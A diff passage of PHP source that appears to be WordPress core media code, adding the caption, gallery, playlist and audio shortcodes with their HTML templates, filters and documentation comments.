+		if ( empty($default_attr['alt']) )
+			$default_attr['alt'] = trim(strip_tags( $attachment->post_excerpt )); // If not, Use the Caption
+		if ( empty($default_attr['alt']) )
+			$default_attr['alt'] = trim(strip_tags( $attachment->post_title )); // Finally, use the title
+
+		$attr = wp_parse_args($attr, $default_attr);
+
+		/**
+		 * Filter the list of attachment image attributes.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array        $attr       Attributes for the image markup.
+		 * @param WP_Post      $attachment Image attachment post.
+		 * @param string|array $size       Requested size.
+		 */
+		$attr = apply_filters( 'wp_get_attachment_image_attributes', $attr, $attachment, $size );
+		$attr = array_map( 'esc_attr', $attr );
+		$html = rtrim("<img $hwstring");
+		foreach ( $attr as $name => $value ) {
+			$html .= " $name=" . '"' . $value . '"';
+		}
+		$html .= ' />';
+	}
+
+	return $html;
+}
+
+/**
+ * Adds a 'wp-post-image' class to post thumbnails
+ * Uses the begin_fetch_post_thumbnail_html and end_fetch_post_thumbnail_html action hooks to
+ * dynamically add/remove itself so as to only filter post thumbnails
+ *
+ * @since 2.9.0
+ * @param array $attr Attributes including src, class, alt, title
+ * @return array
+ */
+function _wp_post_thumbnail_class_filter( $attr ) {
+	$attr['class'] .= ' wp-post-image';
+	return $attr;
+}
+
+/**
+ * Adds _wp_post_thumbnail_class_filter to the wp_get_attachment_image_attributes filter
+ *
+ * @since 2.9.0
+ */
+function _wp_post_thumbnail_class_filter_add( $attr ) {
+	add_filter( 'wp_get_attachment_image_attributes', '_wp_post_thumbnail_class_filter' );
+}
+
+/**
+ * Removes _wp_post_thumbnail_class_filter from the wp_get_attachment_image_attributes filter
+ *
+ * @since 2.9.0
+ */
+function _wp_post_thumbnail_class_filter_remove( $attr ) {
+	remove_filter( 'wp_get_attachment_image_attributes', '_wp_post_thumbnail_class_filter' );
+}
+
+add_shortcode('wp_caption', 'img_caption_shortcode');
+add_shortcode('caption', 'img_caption_shortcode');
+
+/**
+ * The Caption shortcode.
+ *
+ * Allows a plugin to replace the content that would otherwise be returned. The
+ * filter is 'img_caption_shortcode' and passes an empty string, the attr
+ * parameter and the content parameter values.
+ *
+ * The supported attributes for the shortcode are 'id', 'align', 'width', and
+ * 'caption'.
+ *
+ * @since 2.6.0
+ *
+ * @param array $attr {
+ *     Attributes of the caption shortcode.
+ *
+ *     @type string $id      ID of the div element for the caption.
+ *     @type string $align   Class name that aligns the caption. Default 'alignnone'. Accepts 'alignleft',
+ *                           'aligncenter', alignright', 'alignnone'.
+ *     @type int    $width   The width of the caption, in pixels.
+ *     @type string $caption The caption text.
+ *     @type string $class   Additional class name(s) added to the caption container.
+ * }
+ * @param string $content Optional. Shortcode content.
+ * @return string HTML content to display the caption.
+ */
+function img_caption_shortcode( $attr, $content = null ) {
+	// New-style shortcode with the caption inside the shortcode with the link and image tags.
+	if ( ! isset( $attr['caption'] ) ) {
+		if ( preg_match( '#((?:<a [^>]+>\s*)?<img [^>]+>(?:\s*</a>)?)(.*)#is', $content, $matches ) ) {
+			$content = $matches[1];
+			$attr['caption'] = trim( $matches[2] );
+		}
+	}
+
+	/**
+	 * Filter the default caption shortcode output.
+	 *
+	 * If the filtered output isn't empty, it will be used instead of generating
+	 * the default caption template.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @see img_caption_shortcode()
+	 *
+	 * @param string $output  The caption output. Default empty.
+	 * @param array  $attr    Attributes of the caption shortcode.
+	 * @param string $content The image element, possibly wrapped in a hyperlink.
+	 */
+	$output = apply_filters( 'img_caption_shortcode', '', $attr, $content );
+	if ( $output != '' )
+		return $output;
+
+	$atts = shortcode_atts( array(
+		'id'	  => '',
+		'align'	  => 'alignnone',
+		'width'	  => '',
+		'caption' => '',
+		'class'   => '',
+	), $attr, 'caption' );
+
+	$atts['width'] = (int) $atts['width'];
+	if ( $atts['width'] < 1 || empty( $atts['caption'] ) )
+		return $content;
+
+	if ( ! empty( $atts['id'] ) )
+		$atts['id'] = 'id="' . esc_attr( $atts['id'] ) . '" ';
+
+	$class = trim( 'wp-caption ' . $atts['align'] . ' ' . $atts['class'] );
+
+	if ( current_theme_supports( 'html5', 'caption' ) ) {
+		return '<figure ' . $atts['id'] . 'style="width: ' . (int) $atts['width'] . 'px;" class="' . esc_attr( $class ) . '">'
+		. do_shortcode( $content ) . '<figcaption class="wp-caption-text">' . $atts['caption'] . '</figcaption></figure>';
+	}
+
+	$caption_width = 10 + $atts['width'];
+
+	/**
+	 * Filter the width of an image's caption.
+	 *
+	 * By default, the caption is 10 pixels greater than the width of the image,
+	 * to prevent post content from running up against a floated image.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @see img_caption_shortcode()
+	 *
+	 * @param int    $caption_width Width of the caption in pixels. To remove this inline style,
+	 *                              return zero.
+	 * @param array  $atts          Attributes of the caption shortcode.
+	 * @param string $content       The image element, possibly wrapped in a hyperlink.
+	 */
+	$caption_width = apply_filters( 'img_caption_shortcode_width', $caption_width, $atts, $content );
+
+	$style = '';
+	if ( $caption_width )
+		$style = 'style="width: ' . (int) $caption_width . 'px" ';
+
+	return '<div ' . $atts['id'] . $style . 'class="' . esc_attr( $class ) . '">'
+	. do_shortcode( $content ) . '<p class="wp-caption-text">' . $atts['caption'] . '</p></div>';
+}
+
+add_shortcode('gallery', 'gallery_shortcode');
+
+/**
+ * The Gallery shortcode.
+ *
+ * This implements the functionality of the Gallery Shortcode for displaying
+ * WordPress images on a post.
+ *
+ * @since 2.5.0
+ *
+ * @param array $attr {
+ *     Attributes of the gallery shortcode.
+ *
+ *     @type string $order      Order of the images in the gallery. Default 'ASC'. Accepts 'ASC', 'DESC'.
+ *     @type string $orderby    The field to use when ordering the images. Default 'menu_order ID'.
+ *                              Accepts any valid SQL ORDERBY statement.
+ *     @type int    $id         Post ID.
+ *     @type string $itemtag    HTML tag to use for each image in the gallery.
+ *                              Default 'dl', or 'figure' when the theme registers HTML5 gallery support.
+ *     @type string $icontag    HTML tag to use for each image's icon.
+ *                              Default 'dt', or 'div' when the theme registers HTML5 gallery support.
+ *     @type string $captiontag HTML tag to use for each image's caption.
+ *                              Default 'dd', or 'figcaption' when the theme registers HTML5 gallery support.
+ *     @type int    $columns    Number of columns of images to display. Default 3.
+ *     @type string $size       Size of the images to display. Default 'thumbnail'.
+ *     @type string $ids        A comma-separated list of IDs of attachments to display. Default empty.
+ *     @type string $include    A comma-separated list of IDs of attachments to include. Default empty.
+ *     @type string $exclude    A comma-separated list of IDs of attachments to exclude. Default empty.
+ *     @type string $link       What to link each image to. Default empty (links to the attachment page).
+ *                              Accepts 'file', 'none'.
+ * }
+ * @return string HTML content to display gallery.
+ */
+function gallery_shortcode( $attr ) {
+	$post = get_post();
+
+	static $instance = 0;
+	$instance++;
+
+	if ( ! empty( $attr['ids'] ) ) {
+		// 'ids' is explicitly ordered, unless you specify otherwise.
+		if ( empty( $attr['orderby'] ) ) {
+			$attr['orderby'] = 'post__in';
+		}
+		$attr['include'] = $attr['ids'];
+	}
+
+	/**
+	 * Filter the default gallery shortcode output.
+	 *
+	 * If the filtered output isn't empty, it will be used instead of generating
+	 * the default gallery template.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @see gallery_shortcode()
+	 *
+	 * @param string $output The gallery output. Default empty.
+	 * @param array  $attr   Attributes of the gallery shortcode.
+	 */
+	$output = apply_filters( 'post_gallery', '', $attr );
+	if ( $output != '' ) {
+		return $output;
+	}
+
+	$html5 = current_theme_supports( 'html5', 'gallery' );
+	$atts = shortcode_atts( array(
+		'order'      => 'ASC',
+		'orderby'    => 'menu_order ID',
+		'id'         => $post ? $post->ID : 0,
+		'itemtag'    => $html5 ? 'figure'     : 'dl',
+		'icontag'    => $html5 ? 'div'        : 'dt',
+		'captiontag' => $html5 ? 'figcaption' : 'dd',
+		'columns'    => 3,
+		'size'       => 'thumbnail',
+		'include'    => '',
+		'exclude'    => '',
+		'link'       => ''
+	), $attr, 'gallery' );
+
+	$id = intval( $atts['id'] );
+
+	if ( ! empty( $atts['include'] ) ) {
+		$_attachments = get_posts( array( 'include' => $atts['include'], 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $atts['order'], 'orderby' => $atts['orderby'] ) );
+
+		$attachments = array();
+		foreach ( $_attachments as $key => $val ) {
+			$attachments[$val->ID] = $_attachments[$key];
+		}
+	} elseif ( ! empty( $atts['exclude'] ) ) {
+		$attachments = get_children( array( 'post_parent' => $id, 'exclude' => $atts['exclude'], 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $atts['order'], 'orderby' => $atts['orderby'] ) );
+	} else {
+		$attachments = get_children( array( 'post_parent' => $id, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $atts['order'], 'orderby' => $atts['orderby'] ) );
+	}
+
+	if ( empty( $attachments ) ) {
+		return '';
+	}
+
+	if ( is_feed() ) {
+		$output = "\n";
+		foreach ( $attachments as $att_id => $attachment ) {
+			$output .= wp_get_attachment_link( $att_id, $atts['size'], true ) . "\n";
+		}
+		return $output;
+	}
+
+	$itemtag = tag_escape( $atts['itemtag'] );
+	$captiontag = tag_escape( $atts['captiontag'] );
+	$icontag = tag_escape( $atts['icontag'] );
+	$valid_tags = wp_kses_allowed_html( 'post' );
+	if ( ! isset( $valid_tags[ $itemtag ] ) ) {
+		$itemtag = 'dl';
+	}
+	if ( ! isset( $valid_tags[ $captiontag ] ) ) {
+		$captiontag = 'dd';
+	}
+	if ( ! isset( $valid_tags[ $icontag ] ) ) {
+		$icontag = 'dt';
+	}
+
+	$columns = intval( $atts['columns'] );
+	$itemwidth = $columns > 0 ? floor(100/$columns) : 100;
+	$float = is_rtl() ? 'right' : 'left';
+
+	$selector = "gallery-{$instance}";
+
+	$gallery_style = '';
+
+	/**
+	 * Filter whether to print default gallery styles.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $print Whether to print default gallery styles.
+	 *                    Defaults to false if the theme supports HTML5 galleries.
+	 *                    Otherwise, defaults to true.
+	 */
+	if ( apply_filters( 'use_default_gallery_style', ! $html5 ) ) {
+		$gallery_style = "
+		<style type='text/css'>
+			#{$selector} {
+				margin: auto;
+			}
+			#{$selector} .gallery-item {
+				float: {$float};
+				margin-top: 10px;
+				text-align: center;
+				width: {$itemwidth}%;
+			}
+			#{$selector} img {
+				border: 2px solid #cfcfcf;
+			}
+			#{$selector} .gallery-caption {
+				margin-left: 0;
+			}
+			/* see gallery_shortcode() in wp-includes/media.php */
+		</style>\n\t\t";
+	}
+
+	$size_class = sanitize_html_class( $atts['size'] );
+	$gallery_div = "<div id='$selector' class='gallery galleryid-{$id} gallery-columns-{$columns} gallery-size-{$size_class}'>";
+
+	/**
+	 * Filter the default gallery shortcode CSS styles.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $gallery_style Default CSS styles and opening HTML div container
+	 *                              for the gallery shortcode output.
+	 */
+	$output = apply_filters( 'gallery_style', $gallery_style . $gallery_div );
+
+	$i = 0;
+	foreach ( $attachments as $id => $attachment ) {
+
+		$attr = ( trim( $attachment->post_excerpt ) ) ? array( 'aria-describedby' => "$selector-$id" ) : '';
+		if ( ! empty( $atts['link'] ) && 'file' === $atts['link'] ) {
+			$image_output = wp_get_attachment_link( $id, $atts['size'], false, false, false, $attr );
+		} elseif ( ! empty( $atts['link'] ) && 'none' === $atts['link'] ) {
+			$image_output = wp_get_attachment_image( $id, $atts['size'], false, $attr );
+		} else {
+			$image_output = wp_get_attachment_link( $id, $atts['size'], true, false, false, $attr );
+		}
+		$image_meta  = wp_get_attachment_metadata( $id );
+
+		$orientation = '';
+		if ( isset( $image_meta['height'], $image_meta['width'] ) ) {
+			$orientation = ( $image_meta['height'] > $image_meta['width'] ) ? 'portrait' : 'landscape';
+		}
+		$output .= "<{$itemtag} class='gallery-item'>";
+		$output .= "
+			<{$icontag} class='gallery-icon {$orientation}'>
+				$image_output
+			</{$icontag}>";
+		if ( $captiontag && trim($attachment->post_excerpt) ) {
+			$output .= "
+				<{$captiontag} class='wp-caption-text gallery-caption' id='$selector-$id'>
+				" . wptexturize($attachment->post_excerpt) . "
+				</{$captiontag}>";
+		}
+		$output .= "</{$itemtag}>";
+		if ( ! $html5 && $columns > 0 && ++$i % $columns == 0 ) {
+			$output .= '<br style="clear: both" />';
+		}
+	}
+
+	if ( ! $html5 && $columns > 0 && $i % $columns !== 0 ) {
+		$output .= "
+			<br style='clear: both' />";
+	}
+
+	$output .= "
+		</div>\n";
+
+	return $output;
+}
+
+/**
+ * Output the templates used by playlists.
+ *
+ * @since 3.9.0
+ */
+function wp_underscore_playlist_templates() {
+?>
+<script type="text/html" id="tmpl-wp-playlist-current-item">
+	<# if ( data.image ) { #>
+	<img src="{{ data.thumb.src }}"/>
+	<# } #>
+	<div class="wp-playlist-caption">
+		<span class="wp-playlist-item-meta wp-playlist-item-title">&#8220;{{ data.title }}&#8221;</span>
+		<# if ( data.meta.album ) { #><span class="wp-playlist-item-meta wp-playlist-item-album">{{ data.meta.album }}</span><# } #>
+		<# if ( data.meta.artist ) { #><span class="wp-playlist-item-meta wp-playlist-item-artist">{{ data.meta.artist }}</span><# } #>
+	</div>
+</script>
+<script type="text/html" id="tmpl-wp-playlist-item">
+	<div class="wp-playlist-item">
+		<a class="wp-playlist-caption" href="{{ data.src }}">
+			{{ data.index ? ( data.index + '. ' ) : '' }}
+			<# if ( data.caption ) { #>
+				{{ data.caption }}
+			<# } else { #>
+				<span class="wp-playlist-item-title">&#8220;{{{ data.title }}}&#8221;</span>
+				<# if ( data.artists && data.meta.artist ) { #>
+				<span class="wp-playlist-item-artist"> &mdash; {{ data.meta.artist }}</span>
+				<# } #>
+			<# } #>
+		</a>
+		<# if ( data.meta.length_formatted ) { #>
+		<div class="wp-playlist-item-length">{{ data.meta.length_formatted }}</div>
+		<# } #>
+	</div>
+</script>
+<?php
+}
+
+/**
+ * Output and enqueue default scripts and styles for playlists.
+ *
+ * @since 3.9.0
+ *
+ * @param string $type Type of playlist. Accepts 'audio' or 'video'.
+ */
+function wp_playlist_scripts( $type ) {
+	wp_enqueue_style( 'wp-mediaelement' );
+	wp_enqueue_script( 'wp-playlist' );
+?>
+<!--[if lt IE 9]><script>document.createElement('<?php echo esc_js( $type ) ?>');</script><![endif]-->
+<?php
+	add_action( 'wp_footer', 'wp_underscore_playlist_templates', 0 );
+	add_action( 'admin_footer', 'wp_underscore_playlist_templates', 0 );
+}
+add_action( 'wp_playlist_scripts', 'wp_playlist_scripts' );
+
+/**
+ * The playlist shortcode.
+ *
+ * This implements the functionality of the playlist shortcode for displaying
+ * a collection of WordPress audio or video files in a post.
+ *
+ * @since 3.9.0
+ *
+ * @param array $attr {
+ *     Array of default playlist attributes.
+ *
+ *     @type string  $type         Type of playlist to display. Accepts 'audio' or 'video'. Default 'audio'.
+ *     @type string  $order        Designates ascending or descending order of items in the playlist.
+ *                                 Accepts 'ASC', 'DESC'. Default 'ASC'.
+ *     @type string  $orderby      Any column, or columns, to sort the playlist. If $ids are
+ *                                 passed, this defaults to the order of the $ids array ('post__in').
+ *                                 Otherwise default is 'menu_order ID'.
+ *     @type int     $id           If an explicit $ids array is not present, this parameter
+ *                                 will determine which attachments are used for the playlist.
+ *                                 Default is the current post ID.
+ *     @type array   $ids          Create a playlist out of these explicit attachment IDs. If empty,
+ *                                 a playlist will be created from all $type attachments of $id.
+ *                                 Default empty.
+ *     @type array   $exclude      List of specific attachment IDs to exclude from the playlist. Default empty.
+ *     @type string  $style        Playlist style to use. Accepts 'light' or 'dark'. Default 'light'.
+ *     @type bool    $tracklist    Whether to show or hide the playlist. Default true.
+ *     @type bool    $tracknumbers Whether to show or hide the numbers next to entries in the playlist. Default true.
+ *     @type bool    $images       Show or hide the video or audio thumbnail (Featured Image/post
+ *                                 thumbnail). Default true.
+ *     @type bool    $artists      Whether to show or hide artist name in the playlist. Default true.
+ * }
+ *
+ * @return string Playlist output. Empty string if the passed type is unsupported.
+ */
+function wp_playlist_shortcode( $attr ) {
+	global $content_width;
+	$post = get_post();
+
+	static $instance = 0;
+	$instance++;
+
+	if ( ! empty( $attr['ids'] ) ) {
+		// 'ids' is explicitly ordered, unless you specify otherwise.
+		if ( empty( $attr['orderby'] ) ) {
+			$attr['orderby'] = 'post__in';
+		}
+		$attr['include'] = $attr['ids'];
+	}
+
+	/**
+	 * Filter the playlist output.
+	 *
+	 * Passing a non-empty value to the filter will short-circuit generation
+	 * of the default playlist output, returning the passed value instead.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param string $output Playlist output. Default empty.
+	 * @param array  $attr   An array of shortcode attributes.
+	 */
+	$output = apply_filters( 'post_playlist', '', $attr );
+	if ( $output != '' ) {
+		return $output;
+	}
+
+	$atts = shortcode_atts( array(
+		'type'		=> 'audio',
+		'order'		=> 'ASC',
+		'orderby'	=> 'menu_order ID',
+		'id'		=> $post ? $post->ID : 0,
+		'include'	=> '',
+		'exclude'   => '',
+		'style'		=> 'light',
+		'tracklist' => true,
+		'tracknumbers' => true,
+		'images'	=> true,
+		'artists'	=> true
+	), $attr, 'playlist' );
+
+	$id = intval( $atts['id'] );
+
+	if ( $atts['type'] !== 'audio' ) {
+		$atts['type'] = 'video';
+	}
+
+	$args = array(
+		'post_status' => 'inherit',
+		'post_type' => 'attachment',
+		'post_mime_type' => $atts['type'],
+		'order' => $atts['order'],
+		'orderby' => $atts['orderby']
+	);
+
+	if ( ! empty( $atts['include'] ) ) {
+		$args['include'] = $atts['include'];
+		$_attachments = get_posts( $args );
+
+		$attachments = array();
+		foreach ( $_attachments as $key => $val ) {
+			$attachments[$val->ID] = $_attachments[$key];
+		}
+	} elseif ( ! empty( $atts['exclude'] ) ) {
+		$args['post_parent'] = $id;
+		$args['exclude'] = $atts['exclude'];
+		$attachments = get_children( $args );
+	} else {
+		$args['post_parent'] = $id;
+		$attachments = get_children( $args );
+	}
+
+	if ( empty( $attachments ) ) {
+		return '';
+	}
+
+	if ( is_feed() ) {
+		$output = "\n";
+		foreach ( $attachments as $att_id => $attachment ) {
+			$output .= wp_get_attachment_link( $att_id ) . "\n";
+		}
+		return $output;
+	}
+
+	$outer = 22; // default padding and border of wrapper
+
+	$default_width = 640;
+	$default_height = 360;
+
+	$theme_width = empty( $content_width ) ? $default_width : ( $content_width - $outer );
+	$theme_height = empty( $content_width ) ? $default_height : round( ( $default_height * $theme_width ) / $default_width );
+
+	$data = array(
+		'type' => $atts['type'],
+		// don't pass strings to JSON, will be truthy in JS
+		'tracklist' => wp_validate_boolean( $atts['tracklist'] ),
+		'tracknumbers' => wp_validate_boolean( $atts['tracknumbers'] ),
+		'images' => wp_validate_boolean( $atts['images'] ),
+		'artists' => wp_validate_boolean( $atts['artists'] ),
+	);
+
+	$tracks = array();
+	foreach ( $attachments as $attachment ) {
+		$url = wp_get_attachment_url( $attachment->ID );
+		$ftype = wp_check_filetype( $url, wp_get_mime_types() );
+		$track = array(
+			'src' => $url,
+			'type' => $ftype['type'],
+			'title' => $attachment->post_title,
+			'caption' => $attachment->post_excerpt,
+			'description' => $attachment->post_content
+		);
+
+		$track['meta'] = array();
+		$meta = wp_get_attachment_metadata( $attachment->ID );
+		if ( ! empty( $meta ) ) {
+
+			foreach ( wp_get_attachment_id3_keys( $attachment ) as $key => $label ) {
+				if ( ! empty( $meta[ $key ] ) ) {
+					$track['meta'][ $key ] = $meta[ $key ];
+				}
+			}
+
+			if ( 'video' === $atts['type'] ) {
+				if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) {
+					$width = $meta['width'];
+					$height = $meta['height'];
+					$theme_height = round( ( $height * $theme_width ) / $width );
+				} else {
+					$width = $default_width;
+					$height = $default_height;
+				}
+
+				$track['dimensions'] = array(
+					'original' => compact( 'width', 'height' ),
+					'resized' => array(
+						'width' => $theme_width,
+						'height' => $theme_height
+					)
+				);
+			}
+		}
+
+		if ( $atts['images'] ) {
+			$thumb_id = get_post_thumbnail_id( $attachment->ID );
+			if ( ! empty( $thumb_id ) ) {
+				list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'full' );
+				$track['image'] = compact( 'src', 'width', 'height' );
+				list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'thumbnail' );
+				$track['thumb'] = compact( 'src', 'width', 'height' );
+			} else {
+				$src = wp_mime_type_icon( $attachment->ID );
+				$width = 48;
+				$height = 64;
+				$track['image'] = compact( 'src', 'width', 'height' );
+				$track['thumb'] = compact( 'src', 'width', 'height' );
+			}
+		}
+
+		$tracks[] = $track;
+	}
+	$data['tracks'] = $tracks;
+
+	$safe_type = esc_attr( $atts['type'] );
+	$safe_style = esc_attr( $atts['style'] );
+
+	ob_start();
+
+	if ( 1 === $instance ) {
+		/**
+		 * Print and enqueue playlist scripts, styles, and JavaScript templates.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param string $type  Type of playlist. Possible values are 'audio' or 'video'.
+		 * @param string $style The 'theme' for the playlist. Core provides 'light' and 'dark'.
+		 */
+		do_action( 'wp_playlist_scripts', $atts['type'], $atts['style'] );
+	} ?>
+<div class="wp-playlist wp-<?php echo $safe_type ?>-playlist wp-playlist-<?php echo $safe_style ?>">
+	<?php if ( 'audio' === $atts['type'] ): ?>
+	<div class="wp-playlist-current-item"></div>
+	<?php endif ?>
+	<<?php echo $safe_type ?> controls="controls" preload="none" width="<?php
+		echo (int) $theme_width;
+	?>"<?php if ( 'video' === $safe_type ):
+		echo ' height="', (int) $theme_height, '"';
+	else:
+		echo ' style="visibility: hidden"';
+	endif; ?>></<?php echo $safe_type ?>>
+	<div class="wp-playlist-next"></div>
+	<div class="wp-playlist-prev"></div>
+	<noscript>
+	<ol><?php
+	foreach ( $attachments as $att_id => $attachment ) {
+		printf( '<li>%s</li>', wp_get_attachment_link( $att_id ) );
+	}
+	?></ol>
+	</noscript>
+	<script type="application/json" class="wp-playlist-script"><?php echo wp_json_encode( $data ) ?></script>
+</div>
+	<?php
+	return ob_get_clean();
+}
+add_shortcode( 'playlist', 'wp_playlist_shortcode' );
+
+/**
+ * Provide a No-JS Flash fallback as a last resort for audio / video
+ *
+ * @since 3.6.0
+ *
+ * @param string $url
+ * @return string Fallback HTML
+ */
+function wp_mediaelement_fallback( $url ) {
+	/**
+	 * Filter the Mediaelement fallback output for no-JS.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $output Fallback output for no-JS.
+	 * @param string $url    Media file URL.
+	 */
+	return apply_filters( 'wp_mediaelement_fallback', sprintf( '<a href="%1$s">%1$s</a>', esc_url( $url ) ), $url );
+}
+
+/**
+ * Return a filtered list of WP-supported audio formats.
+ *
+ * @since 3.6.0
+ * @return array
+ */
+function wp_get_audio_extensions() {
+	/**
+	 * Filter the list of supported audio formats.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array $extensions An array of support audio formats. Defaults are
+	 *                          'mp3', 'ogg', 'wma', 'm4a', 'wav'.
+	 */
+	return apply_filters( 'wp_audio_extensions', array( 'mp3', 'ogg', 'wma', 'm4a', 'wav' ) );
+}
+
+/**
+ * Return useful keys to use to lookup data from an attachment's stored metadata.
+ *
+ * @since 3.9.0
+ *
+ * @param WP_Post $attachment The current attachment, provided for context.
+ * @param string  $context    The context. Accepts 'edit', 'display'. Default 'display'.
+ * @return array Key/value pairs of field keys to labels.
+ */
+function wp_get_attachment_id3_keys( $attachment, $context = 'display' ) {
+	$fields = array(
+		'artist' => __( 'Artist' ),
+		'album' => __( 'Album' ),
+	);
+
+	if ( 'display' === $context ) {
+		$fields['genre']            = __( 'Genre' );
+		$fields['year']             = __( 'Year' );
+		$fields['length_formatted'] = _x( 'Length', 'video or audio' );
+	} elseif ( 'js' === $context ) {
+		$fields['bitrate']          = __( 'Bitrate' );
+		$fields['bitrate_mode']     = __( 'Bitrate Mode' );
+	}
+
+	/**
+	 * Filter the editable list of keys to look up data from an attachment's metadata.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param array   $fields     Key/value pairs of field keys to labels.
+	 * @param WP_Post $attachment Attachment object.
+	 * @param string  $context    The context. Accepts 'edit', 'display'. Default 'display'.
+	 */
+	return apply_filters( 'wp_get_attachment_id3_keys', $fields, $attachment, $context );
+}
+/**
+ * The Audio shortcode.
+ *
+ * This implements the functionality of the Audio Shortcode for displaying
+ * WordPress mp3s in a post.
+ *
+ * @since 3.6.0
+ *
+ * @param array $attr {
+ *     Attributes of the audio shortcode.
+ *
+ *     @type string $src      URL to the source of the audio file. Default empty.
+ *     @type string $loop     The 'loop' attribute for the `<audio>` element. Default empty.
+ *     @type string $autoplay The 'autoplay' attribute for the `<audio>` element. Default empty.
+ *     @type string $preload  The 'preload' attribute for the `<audio>` element. Default empty.
+ *     @type string $class    The 'class' attribute for the `<audio>` element. Default 'wp-audio-shortcode'.
+ *     @type string $id       The 'id' attribute for the `<audio>` element. Default 'audio-{$post_id}-{$instances}'.
+ *     @type string $style    The 'style' attribute for the `<audio>` element. Default 'width: 100%'.
+ * }
+ * @param string $content Optional. Shortcode content.
+ * @return string HTML content to display audio.
+ */
+function wp_audio_shortcode( $attr, $content = '' ) {
+	$post_id = get_post() ? get_the_ID() : 0;
+
+	static $instances = 0;
+	$instances++;
+
+	/**
+	 * Filter the default audio shortcode output.
+	 *
+	 * If the filtered output isn't empty, it will be used instead of generating the default audio template.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $html      Empty variable to be replaced with shortcode markup.
+	 * @param array  $attr      Attributes of the shortcode. @see wp_audio_shortcode()
+	 * @param string $content   Shortcode content.
+	 * @param int    $instances Unique numeric ID of this audio shortcode instance.
+	 */
+	$override = apply_filters( 'wp_audio_shortcode_override', '', $attr, $content, $instances );
+	if ( '' !== $override ) {
+		return $override;
+	}
+
+	$audio = null;
+
+	$default_types = wp_get_audio_extensions();
+	$defaults_atts = array(
+		'src'      => '',
+		'loop'     => '',
+		'autoplay' => '',
+		'preload'  => 'none'
+	);
+	foreach ( $default_types as $type ) {
+		$defaults_atts[$type] = '';
+	}
+
+	$atts = shortcode_atts( $defaults_atts, $attr, 'audio' );
+
+	$primary = false;
+	if ( ! empty( $atts['src'] ) ) {
+		$type = wp_check_filetype( $atts['src'], wp_get_mime_types() );
+		if ( ! in_array( strtolower( $type['ext'] ), $default_types ) ) {
+			return sprintf( '<a class="wp-embedded-audio" href="%s">%s</a>', esc_url( $atts['src'] ), esc_html( $atts['src'] ) );
+		}
+		$primary = true;
+		array_unshift( $default_types, 'src' );
+	} else {
+		foreach ( $default_types as $ext ) {
+			if ( ! empty( $atts[ $ext ] ) ) {
+				$type = wp_check_filetype( $atts[ $ext ], wp_get_mime_types() );
+				if ( strtolower( $type['ext'] ) === $ext ) {
+					$primary = true;
+				}
+			}
+		}
+	}
+
+	if ( ! $primary ) {
+		$audios = get_attached_media( 'audio', $post_id );
+		if ( empty( $audios ) ) {
+			return;
+		}
+
+		$audio = reset( $audios );
+		$atts['src'] = wp_get_attachment_url( $audio->ID );
+		if ( empty( $atts['src'] ) ) {
+			return;
+		}
+
+		array_unshift( $default_types, 'src' );
+	}
+
+	/**
+	 * Filter the media library used for the audio shortcode.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $library Media library used for the audio shortcode.
+	 */
+	$library = apply_filters( 'wp_audio_shortcode_library', 'mediaelement' );
+	if ( 'mediaelement' === $library && did_action( 'init' ) ) {
+		wp_enqueue_style( 'wp-mediaelement' );
+		wp_enqueue_script( 'wp-mediaelement' );
+	}
+
+	/**
+	 * Filter the class attribute for the audio shortcode output container.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $class CSS class or list of space-separated classes.
+	 */
+	$html_atts = array(
+		'class'    => apply_filters( 'wp_audio_shortcode_class', 'wp-audio-shortcode' ),
+		'id'       => sprintf( 'audio-%d-%d', $post_id, $instances ),
+		'loop'     => wp_validate_boolean( $atts['loop'] ),
+		'autoplay' => wp_validate_boolean( $atts['autoplay'] ),
+		'preload'  => $atts['preload'],
+		'style'    => 'width: 100%; visibility: hidden;',
+	);
+
+	// These ones should just be omitted altogether if they are blank
+	foreach ( array( 'loop', 'autoplay', 'preload' ) as $a ) {
+		if ( empty( $html_atts[$a] ) ) {
+			unset( $html_atts[$a] );
+		}
+	}
+
+	$attr_strings = array();
+	foreach ( $html_atts as $k => $v ) {
+		$attr_strings[] = $k . '="' . esc_attr( $v ) . '"';
+	}
+
+	$html = '';
+	if ( 'mediaelement' === $library && 1 === $instances ) {
+		$html .= "<!--[if lt IE 9]><script>document.createElement('audio');</script><![endif]-->\n";
+	}
+	$html .= sprintf( '<audio %s controls="controls">', join( ' ', $attr_strings ) );
+
+	$fileurl = '';
+	$source = '<source type="%s" src="%s" />';
+	foreach ( $default_types as $fallback ) {
+		if ( ! empty( $atts[ $fallback ] ) ) {
+			if ( empty( $fileurl ) ) {
+				$fileurl = $atts[ $fallback ];
+			}
+			$type = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() );
+			$url = add_query_arg( '_', $instances, $atts[ $fallback ] );
+			$html .= sprintf( $source, $type['type'], esc_url( $url ) );
+		}
+	}
+
+	if ( 'mediaelement' === $library ) {
+		$html .= wp_mediaelement_fallback( $fileurl );
+	}
+	$html .= '</audio>';
+
+	/**
+	 * Filter the audio shortcode output.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $html    Audio shortcode HTML output.
+	 * @param array  $atts    Array of audio shortcode attributes.
+	 * @param string $audio   Audio file.
+	 * @param int    $post_id Post ID.
+	 * @param string $library Media library used for the audio shortcode.
+	 */
+	return apply_filters( 'wp_audio_shortcode', $html, $atts, $audio, $post_id, $library );
+}
+add_shortcode( 'audio', 'wp_audio_shortcode' );
+
+/**
